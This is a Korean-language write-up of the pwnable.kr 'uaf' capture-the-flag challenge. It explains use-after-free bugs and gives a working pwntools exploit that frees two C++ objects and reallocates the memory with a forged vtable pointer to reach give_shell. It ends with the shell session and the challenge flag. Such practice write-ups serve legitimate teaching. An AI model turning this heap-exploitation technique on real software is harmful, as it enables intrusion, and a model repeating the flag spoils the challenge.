UAF 취약점이란
메모리를 해제하고나서,
이전의 똑같은 크기로 할당했던 메모리 영역을 할당해서 참조하는 취약점.
예제 코드:
#include <stdio.h> #include <string.h> int main(void) { char *ptr = malloc(8); strcpy(ptr, "hellowor"); free(ptr); char* ptr2 = malloc(8); strcpy(ptr2, "abcdefg"); printf("ptr: %s\n", ptr); return 0; }
결과:
ptr: abcdefg
보다시피 free(ptr)
로 ptr을 메모리 할당을 해제 후,
ptr2에 이전 ptr1과 같은 크기의 메모리를 할당하고
ptr 데이터를 확인해보면,
ptr2의 데이터가 출력되는 것을 확인할 수 있다.
Description
Mommy, what is Use After Free bug?
ssh [email protected] -p2222 (pw:guest)
checksec
uaf@pwnable:~$ checksec --file ./uaf [*] '/home/uaf/uaf' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { Human *v3; // rbx __int64 v4; // rdx Human *v5; // rbx int v6; // eax __int64 v7; // rax Human *v8; // rbx Human *v9; // rbx char v10[16]; // [rsp+10h] [rbp-50h] BYREF char v11[8]; // [rsp+20h] [rbp-40h] BYREF Human *v12; // [rsp+28h] [rbp-38h] Human *v13; // [rsp+30h] [rbp-30h] size_t nbytes; // [rsp+38h] [rbp-28h] void *buf; // [rsp+40h] [rbp-20h] int v16; // [rsp+48h] [rbp-18h] BYREF char v17; // [rsp+4Eh] [rbp-12h] BYREF char v18[17]; // [rsp+4Fh] [rbp-11h] BYREF std::allocator<char>::allocator(&v17, argv, envp); std::string::string(v10, "Jack", &v17); v3 = (Human *)operator new(0x18uLL); Man::Man(v3, v10, 25LL); v12 = v3; std::string::~string((std::string *)v10); std::allocator<char>::~allocator(&v17); std::allocator<char>::allocator(v18, v10, v4); std::string::string(v11, "Jill", v18); v5 = (Human *)operator new(0x18uLL); Woman::Woman(v5, v11, 21LL); v13 = v5; std::string::~string((std::string *)v11); std::allocator<char>::~allocator(v18); while ( 1 ) { while ( 1 ) { while ( 1 ) { std::operator<<<std::char_traits<char>>(&std::cout, "1. use\n2. after\n3. free\n"); std::istream::operator>>(&std::cin, &v16); if ( v16 != 2 ) break; nbytes = atoi(argv[1]); buf = (void *)operator new[](nbytes); v6 = open(argv[2], 0); read(v6, buf, nbytes); v7 = std::operator<<<std::char_traits<char>>(&std::cout, "your data is allocated"); std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>); } if ( v16 == 3 ) break; if ( v16 == 1 ) { (*(void (__fastcall **)(Human *))(*(_QWORD *)v12 + 8LL))(v12); (*(void (__fastcall **)(Human *))(*(_QWORD *)v13 + 8LL))(v13); } } v8 = v12; if ( v12 ) { Human::~Human(v12); operator delete(v8); } v9 = v13; if ( v13 ) { Human::~Human(v13); operator delete(v9); } } }
0x18만큼 메모리를 2번 힙영역으로부터 할당 받아서
각각 v3, v5에 주소를 담는다.
직접 디버깅해서 확인해보면,
v3는 0x614EE0, v5는 0x614F30 주소에 있었다.
0x18만큼 할당된 메모리 주소를 각각 살펴보면, 아래와 같다.
할당하고나서 사용자로부터 입력을 받아온다.
1번을 입력하면, 각 vtable + 0x18 주소에 있는 함수인 introduce가 호출되어,
아래와 같이 출력된다.
My name is Jack I am 25 years old I am a nice guy! My name is Jill I am 21 years old I am a cute girl!
2번을 입력하면,argv[1]
크기 만큼 메모리를 buf
에 힙영역으로부터 할당하고,
읽기 전용모드로 argv[2]
파일을 열고 읽은 내용을 buf
로 가져온다.
3번을 입력하면,
처음에 0x18만큼 메모리 2번 할당되었던 곳을 해제한다.
Solution
처음 프로그램을 실행할 때, 0x18만큼 메모리를 2번 할당하기 때문에
UAF 취약점을 이용해서 원하는 메모리 주소로 이동해 호출하는 방법은 다음과 같다.
먼저, 3번을 입력하여 2번 힙영역으로부터 메모리가 할당되었던 주소를 해제해준다.
두번째로, 2번을 입력하여 0x18만큼 같은 크기의 메모리를 할당하게 만들고,
할당되는 주소에는 (give_shell을 가리키는 주소 - 8
)이 들어가게 만들면 된다.
v13이 마지막으로 해제하므로,
v12가 재사용되게 할려면,
2번 호출해야한다.
그리고 마지막으로 3번을 통해 함수를 호출하게되면,
give_shell 함수가 호출되어 쉘을 획득할 수 있을 것이다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') #p1 = process(["./uaf", "24", "/dev/stdin"]) #p1 = process(executable="/home/iotfragile/CTF/uaf/uaf", argv=["/home/iotfragile/CTF/uaf/uaf", "24", "/dev/stdin"]) p = ssh("uaf", "pwnable.kr", port=2222, password="guest") p1 = p.process(executable="/home/uaf/uaf", argv=["/home/uaf/uaf", "24", "/dev/stdin"]) p1.recvuntil("3. free\n") p1.sendline("3") for i in range(2): p1.recvuntil("3. free\n") p1.sendline("2") p1.send(p64(0x401548)) p1.recvuntil("3. free") p1.sendline("1") p1.interactive()
Result
iotfragile@iotfragile:~/CTF/uaf$ python3 solve.py [+] Connecting to pwnable.kr on port 2222: Done [*] [email protected]: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.4.179 ASLR: Enabled [+] Starting remote process bytearray(b'/home/uaf/uaf') on pwnable.kr: pid 109075 [*] Switching to interactive mode $ $ ls flag uaf uaf.cpp $ $ cat flag yay_f1ag_aft3r_pwning $ $